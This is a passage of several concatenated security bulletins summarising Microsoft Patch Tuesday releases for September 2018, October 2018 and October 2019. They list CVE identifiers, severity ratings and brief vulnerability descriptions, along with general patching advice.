SQL Server Management Studio Information Disclosure (CVE-2018-8533) MS Rating: Moderate
An information disclosure vulnerability exists in Microsoft SQL Server Management Studio (SSMS) when parsing malicious XML content containing a reference to an external entity. An attacker who successfully exploited this vulnerability could read arbitrary files via an XML external entity declaration.
Cumulative Security Update for Microsoft Windows Hyper-V
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2018-8489) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. An attacker who successfully exploited this issue by running specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2018-8490) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. An attacker who successfully exploited this issue by running specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – October 2019
This month the vendor has patched 59 vulnerabilities, 9 of which are rated Critical.
This month the vendor has patched 59 vulnerabilities, 9 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the October 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft Windows
Microsoft Hyper-V
Graphics Device Interface
Jet Database Engine
Azure App Service
Open Enclave SDK
Microsoft Dynamics 365
SQL Server Management Studio
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
VBScript Remote Code Execution Vulnerability (CVE-2019-1238) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
VBScript Remote Code Execution Vulnerability (CVE-2019-1239) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1307) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1308) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1335) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1366) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Spoofing Vulnerability (CVE-2019-0608) MS Rating: Important
A spoofing vulnerability exists when Microsoft Browsers does not properly parse HTTP content. An attacker who successfully exploited this vulnerability could impersonate a user request by crafting HTTP queries.
Microsoft Edge based on Edge HTML Information Disclosure Vulnerability (CVE-2019-1356) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge based on Edge HTML improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Browser Spoofing Vulnerability (CVE-2019-1357) MS Rating: Important
A spoofing vulnerability exists when Microsoft Browsers improperly handle browser cookies. An attacker who successfully exploited this vulnerability could trick a browser into overwriting a secure cookie with an insecure cookie.
Internet Explorer Memory Corruption Vulnerability (CVE-2019-1371) MS Rating: Important
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Cumulative Security Update for Microsoft Office
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-1070) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker can exploit this issue by sending a specially crafted request to an affected SharePoint server.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2019-1327) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft SharePoint Spoofing Vulnerability (CVE-2019-1328) MS Rating: Important
A spoofing vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker can exploit this issue by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2019-1329) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker can exploit this issue by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2019-1330) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft SharePoint. An attacker who successfully exploited this vulnerability could attempt to impersonate another user of the SharePoint server.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2019-1331) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Information Disclosure Vulnerability (CVE-2019-1334) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-1345) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Win32k Privilege Escalation Vulnerability (CVE-2019-1362) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2019-1364) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Hyper-V
Hyper-V Information Disclosure Vulnerability (CVE-2019-1230) MS Rating: Important
An information disclosure vulnerability exists when the Windows Hyper-V Network Switch on a host operating system fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker on a guest operating system could run a specially crafted application that could cause the Hyper-V host operating system to disclose memory information.
Security Update for Microsoft Graphics
Microsoft Graphics Components Information Disclosure Vulnerability (CVE-2019-1361) MS Rating: Important
An information disclosure vulnerability exists in the way that Microsoft Graphics Components handle objects in memory. An attacker who successfully exploited the vulnerability could obtain information that could be useful for further exploitation.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1363) MS Rating: Important
An information disclosure vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in memory, allowing an attacker to retrieve information from a targeted system. By itself, the information disclosure does not allow arbitrary code execution; however, it could allow arbitrary code to be run if the attacker uses it in combination with another vulnerability.
Security Update for Microsoft Windows
Remote Desktop Client Remote Code Execution Vulnerability (CVE-2019-1333) MS Rating: Critical
A remote code execution vulnerability exists in the Windows Remote Desktop Client when a user connects to a malicious server. An attacker who successfully exploited this vulnerability could execute arbitrary code on the computer of the connecting client.
MS XML Remote Code Execution Vulnerability (CVE-2019-1060) MS Rating: Critical
A remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input. An attacker who successfully exploited the vulnerability could run malicious code remotely to take control of the user's system.
Windows NTLM Tampering Vulnerability (CVE-2019-1166) MS Rating: Important
A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM MIC (Message Integrity Check) protection. An attacker who successfully exploited this vulnerability could gain the ability to downgrade NTLM security features.
Windows Imaging API Remote Code Execution Vulnerability (CVE-2019-1311) MS Rating: Important
A remote code execution vulnerability exists when the Windows Imaging API improperly handles objects in memory. The vulnerability could corrupt memory in a way that enables an attacker to execute arbitrary code in the context of the current user.
Windows 10 Mobile Security Bypass Vulnerability (CVE-2019-1314) MS Rating: Important
A security bypass vulnerability exists in Windows 10 Mobile when Cortana allows a user to access files and folders through the locked screen. An attacker who successfully exploited this vulnerability could access the photo library of an affected phone and modify or delete photos without authenticating to the system.
Windows Error Reporting Manager Privilege Escalation Vulnerability (CVE-2019-1315) MS Rating: Important
A privilege escalation vulnerability exists when Windows Error Reporting manager improperly handles hard links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
Microsoft Windows Setup Privilege Escalation Vulnerability (CVE-2019-1316) MS Rating: Important
A privilege escalation vulnerability exists in the Microsoft Windows Setup when it does not properly handle privileges. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Microsoft Windows Denial of Service Vulnerability (CVE-2019-1317) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles hard links. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Microsoft Windows Spoofing Vulnerability (CVE-2019-1318) MS Rating: Important
A spoofing vulnerability exists when Transport Layer Security (TLS) accesses non- Extended Master Secret (EMS) sessions. An attacker who successfully exploited this vulnerability may gain access to unauthorized information.
Windows Error Reporting Privilege Escalation Vulnerability (CVE-2019-1319) MS Rating: Important
A privilege escalation vulnerability exists in Windows Error Reporting (WER) when WER handles and executes files. The vulnerability could allow elevation of privilege if an attacker can successfully exploit it.
Microsoft Windows Privilege Escalation Vulnerability (CVE-2019-1320) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles authentication requests. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Microsoft Windows CloudStore Privilege Escalation Vulnerability (CVE-2019-1321) MS Rating: Important
A privilege escalation vulnerability exists when Windows 'CloudStore' improperly handles file Discretionary Access Control List (DACL). An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
Microsoft Windows Privilege Escalation Vulnerability (CVE-2019-1322) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles authentication requests. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Microsoft Windows Update Client Privilege Escalation Vulnerability (CVE-2019-1323) MS Rating: Important
A privilege escalation vulnerability exists in the Microsoft Windows Update Client when it does not properly handle privileges. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Redirected Drive Buffering System Privilege Escalation Vulnerability (CVE-2019-1325) MS Rating: Important
A privilege escalation vulnerability exists in the Windows redirected drive buffering system ('rdbss.sys') when the operating system improperly handles specific local calls within Windows 7 for 32-bit systems.
Windows Remote Desktop Protocol (RDP) Denial of Service Vulnerability (CVE-2019-1326) MS Rating: Important
A denial of service vulnerability exists in Remote Desktop Protocol (RDP) when an attacker connects to the target system using RDP and sends specially crafted requests. An attacker who successfully exploited this vulnerability could cause the RDP service on the target system to stop responding.
Microsoft Windows Update Client Privilege Escalation Vulnerability (CVE-2019-1336) MS Rating: Important
A privilege escalation vulnerability exists in the Microsoft Windows Update Client when it does not properly handle privileges. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Microsoft Windows Update Client Information Disclosure Vulnerability (CVE-2019-1337) MS Rating: Important
An information disclosure vulnerability exists when Windows Update Client fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could potentially disclose memory contents of an elevated process.
Microsoft Windows NTLM Security Bypass Vulnerability (CVE-2019-1338) MS Rating: Important
A security bypass vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLMv2 protection if a client is also sending LMv2 responses. An attacker who successfully exploited this vulnerability could gain the ability to downgrade NTLM security features.
Microsoft Windows Privilege Escalation Vulnerability (CVE-2019-1339) MS Rating: Important
A privilege escalation vulnerability exists when Windows Error Reporting manager improperly handles hard links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
Microsoft Windows Privilege Escalation Vulnerability (CVE-2019-1340) MS Rating: Important
A privilege escalation vulnerability exists in Windows AppX Deployment Server that allows file creation in arbitrary locations. To exploit the vulnerability, an attacker would first have to log on to the system.
Windows Power Service Privilege Escalation Vulnerability (CVE-2019-1341) MS Rating: Important
A privilege escalation vulnerability exists when umpo. dll of the Power Service, improperly handles a Registry Restore Key function.
Windows Error Reporting Manager Privilege Escalation Vulnerability (CVE-2019-1342) MS Rating: Important
A privilege escalation vulnerability exists when Windows Error Reporting manager improperly handles a process crash. An attacker who successfully exploited this vulnerability could delete a targeted file leading to an elevated status.
Microsoft Windows Denial of Service Vulnerability (CVE-2019-1343) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Microsoft Windows Code Integrity Module Information Disclosure Vulnerability (CVE-2019-1344) MS Rating: Important
An information disclosure vulnerability exists in the way that the Windows Code Integrity Module handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Microsoft Windows Denial of Service Vulnerability (CVE-2019-1346) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Microsoft Windows Denial of Service Vulnerability (CVE-2019-1347) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Microsoft IIS Server Privilege Escalation Vulnerability (CVE-2019-1365) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft IIS Server fails to check the length of a buffer prior to copying memory to it. An attacker who successfully exploited this vulnerability can allow an unprivileged function ran by the user to execute code in the context of 'NT AUTHORITY\system' escaping the Sandbox.
Microsoft Windows Secure Boot Security Bypass Vulnerability (CVE-2019-1368) MS Rating: Important
A security bypass exists when Windows Secure Boot improperly restricts access to debugging functionality. An attacker who successfully exploited this vulnerability could disclose protected kernel memory.
Security Update for Jet Database Engine
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1358) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1359) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Security Update for SQL Server Management Studio
SQL Server Management Studio Information Disclosure Vulnerability (CVE-2019-1313) MS Rating: Important
An information disclosure vulnerability exists in Microsoft SQL Server Management Studio (SSMS) when it improperly enforces permissions. An attacker could exploit the vulnerability if the attacker's credentials allow access to an affected SQL server database.
SQL Server Management Studio Information Disclosure Vulnerability (CVE-2019-1376) MS Rating: Important
An information disclosure vulnerability exists in Microsoft SQL Server Management Studio (SSMS) when it improperly enforces permissions. An attacker could exploit the vulnerability if the attacker's credentials allow access to an affected SQL server database.
Security Update for Azure App Service
Azure App Service Remote Code Execution Vulnerability (CVE-2019-1372) MS Rating: Critical
An remote code execution vulnerability exists when Azure App Service/ Antares on Azure Stack fails to check the length of a buffer prior to copying memory to it.
Security Update for Microsoft Dynamics 365 (On-Premise)
Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability (CVE-2019-1375) MS Rating: Important
A cross site scripting vulnerability because it fails to properly sanitize user-supplied input. An authenticated attacker can exploit this issue by sending a specially crafted request to an affected Dynamics server.
Security Update for Open Enclave SDK
Open Enclave SDK Information Disclosure Vulnerability (CVE-2019-1369) MS Rating: Important
An information disclosure vulnerability exists when affected Open Enclave SDK versions improperly handle objects in memory. An attacker who successfully exploited this vulnerability could obtain information stored in the Enclave.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – September 2018
This month the vendor has patched 61 vulnerabilities, 17 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the September 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
Microsoft Office
.NET Framework
Microsoft Windows
Device Guard Code
Hyper-V
JET Database Engine
Azure IoT SDK
Lync for Mac
ChakraCore
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8367) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8391) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-8447) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8456) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8457) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8459) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-8461) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge PDF Remote Code Execution Vulnerability (CVE-2018-8464) MS Rating: Critical
An remote code execution vulnerability exists when Microsoft Edge PDF Reader improperly handles objects in memory. The vulnerability could corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8465) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8466) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8467) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Browsers Information Disclosure Vulnerability (CVE-2018-8315) MS Rating: Important
An information disclosure vulnerability exists when the browser scripting engine improperly handle object types. An attacker who has successfully exploited this vulnerability might be able to read privileged data across trust boundaries.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8354) MS Rating: Important
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8366) MS Rating: Important
An information disclosure vulnerability exists when the Microsoft Edge Fetch API incorrectly handles a filtered response type. An attacker could use the vulnerability to read the URL of a cross-origin request. Websites that that do not securely populate the URL with confidential information could allow information to be disclosed to an attacker.
Microsoft Edge Spoofing Vulnerability (CVE-2018-8425) MS Rating: Important
A spoofing vulnerability exists when Microsoft Edge improperly handles specific HTML content. An attacker who successfully exploited this vulnerability could trick a user into believing that the user was on a legitimate website. The specially crafted website could either spoof content or serve as a pivot to chain an attack with other vulnerabilities in web services.
Microsoft Browser Information Disclosure Vulnerability (CVE-2018-8452) MS Rating: Important
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft browsers. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Edge Elevation of Privilege Vulnerability (CVE-2018-8463) MS Rating: Important
An elevation of privilege vulnerability exists in Microsoft Edge that could allow an attacker to escape from the AppContainer sandbox in the browser. An attacker who successfully exploited this vulnerability could gain elevated privileges and break out of the Edge AppContainer sandbox.
Microsoft Edge Elevation of Privilege Vulnerability (CVE-2018-8469) MS Rating: Important
An elevation of privilege vulnerability exists in Microsoft Edge that could allow an attacker to escape from the AppContainer sandbox in the browser. An attacker who successfully exploited this vulnerability could gain elevated privileges and break out of the Edge AppContainer sandbox.
Internet Explorer Elevation of Privilege Vulnerability (CVE-2018-8470) MS Rating: Important
A Security Seature Bypass vulnerability exists in Internet Explorer due to how scripts are handled that allows a universal cross-site scripting (UXSS) condition. An attacker could use the UXSS vulnerability to access any session belonging to web pages currently opened (or cached) by the browser at the time the attack is triggered.
Cumulative Security Update for Microsoft Office
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-8331) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Office SharePoint XSS Vulnerability (CVE-2018-8426) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-8428) MS Rating: Important
An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Word PDF Remote Code Execution Vulnerability (CVE-2018-8430) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word 2013 and Microsoft Word 2016 if a user opens a specially crafted PDF file. An attacker who successfully exploited the vulnerability could cause arbitrary code to execute in the context of the current user. To exploit the vulnerability, an attacker must entice the user to open a specially crafted PDF file.
Microsoft Excel Information Disclosure Vulnerability (CVE-2018-8429) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Excel improperly discloses the contents of its memory. An attacker who exploited the vulnerability could access information previously deleted from the active worksheet. To exploit the vulnerability, an attacker could craft a special document file and then convince the user to open it.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-8431) MS Rating: Important
An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Cumulative Security Update for Microsoft .NET Framework
.NET Framework Remote Code Execution Vulnerability (CVE-2018-8421) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft .NET Framework processes untrusted input. An attacker can exploit this vulnerability using the .NET framework to take control of an affected system.
ASP.NET Core Denial of Service (CVE-2018-8409) MS Rating: Important
A denial of service vulnerability exists when ASP.NET Core improperly handles web requests. An attacker can exploit this vulnerability to cause a denial of service against a ASP.NET Core web application. The vulnerability can be exploited remotely, without authentication.
OData Denial of Service Vulnerability (CVE-2018-8269) MS Rating: Important
A denial of service vulnerability exists when OData Library improperly handles web requests. An attacker who successfully exploited this vulnerability could cause a denial of service against an OData web application. A remote unauthenticated attacker could exploit this vulnerability by issuing specially crafted requests to the OData application.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8336) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system. An authenticated attacker could exploit this vulnerability by running a specially crafted application.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8419) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly initialize a memory address. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system. To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8442) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system. An authenticated attacker could exploit this vulnerability by running a specially crafted application.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8443) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system. An authenticated attacker could exploit this vulnerability by running a specially crafted application.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8445) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system. An authenticated attacker could exploit this vulnerability by running a specially crafted application.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8446) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system. An authenticated attacker could exploit this vulnerability by running a specially crafted application.
Windows Kernel Elevation of Privilege Vulnerability (CVE-2018-8455) MS Rating: Important
An elevation of privilege vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions. To exploit the vulnerability, a locally authenticated attacker could run a specially crafted application.
Cumulative Security Update for Microsoft Microsoft Windows Hyper-V
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2018-0965) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code. An attacker who successfully exploited the vulnerability could execute arbitrary code on the host operating system.
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2018-8439) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code. An attacker who successfully exploited the vulnerability could execute arbitrary code on the host operating system.
Windows Hyper-V Denial of Service Vulnerability (CVE-2018-8436) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
Windows Hyper-V Denial of Service Vulnerability (CVE-2018-8437) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
Windows Hyper-V Information Disclosure Vulnerability (CVE-2018-8434) MS Rating: Important
An information disclosure vulnerability exists when Windows Hyper-V on a host operating system fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker on a guest operating system could run a specially crafted application that could cause the Hyper-V host operating system to disclose memory information. An attacker who successfully exploited the vulnerability could gain access to information on the Hyper-V host operating system.
Windows Hyper-V Security Feature Bypass Vulnerability (CVE-2018-8435) MS Rating: Important
A security feature bypass vulnerability exists when Windows Hyper-V BIOS loader fails to provide a high-entropy source. To exploit this vulnerability, an attacker would need to reboot a guest virtual machine numerous times until the vulnerability is triggered.
Windows Hyper-V Denial of Service Vulnerability (CVE-2018-8438) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding. To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application.
Cumulative Security Update for Microsoft JET Database Engine
Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2018-8392) MS Rating: Important
A buffer overflow vulnerability exists in the Microsoft JET Database Engine that could allow remote code execution on an affected system. An attacker who successfully exploited this vulnerability could take control of an affected system.
Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2018-8393) MS Rating: Important
A buffer overflow vulnerability exists in the Microsoft JET Database Engine that could allow remote code execution on an affected system. An attacker who successfully exploited this vulnerability could take control of an affected system.
Cumulative Security Update for Microsoft Windows
Win32k Graphics Remote Code Execution Vulnerability (CVE-2018-8332) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited this vulnerability could take control of the affected system.
MS XML Remote Code Execution Vulnerability (CVE-2018-8420) MS Rating: Critical
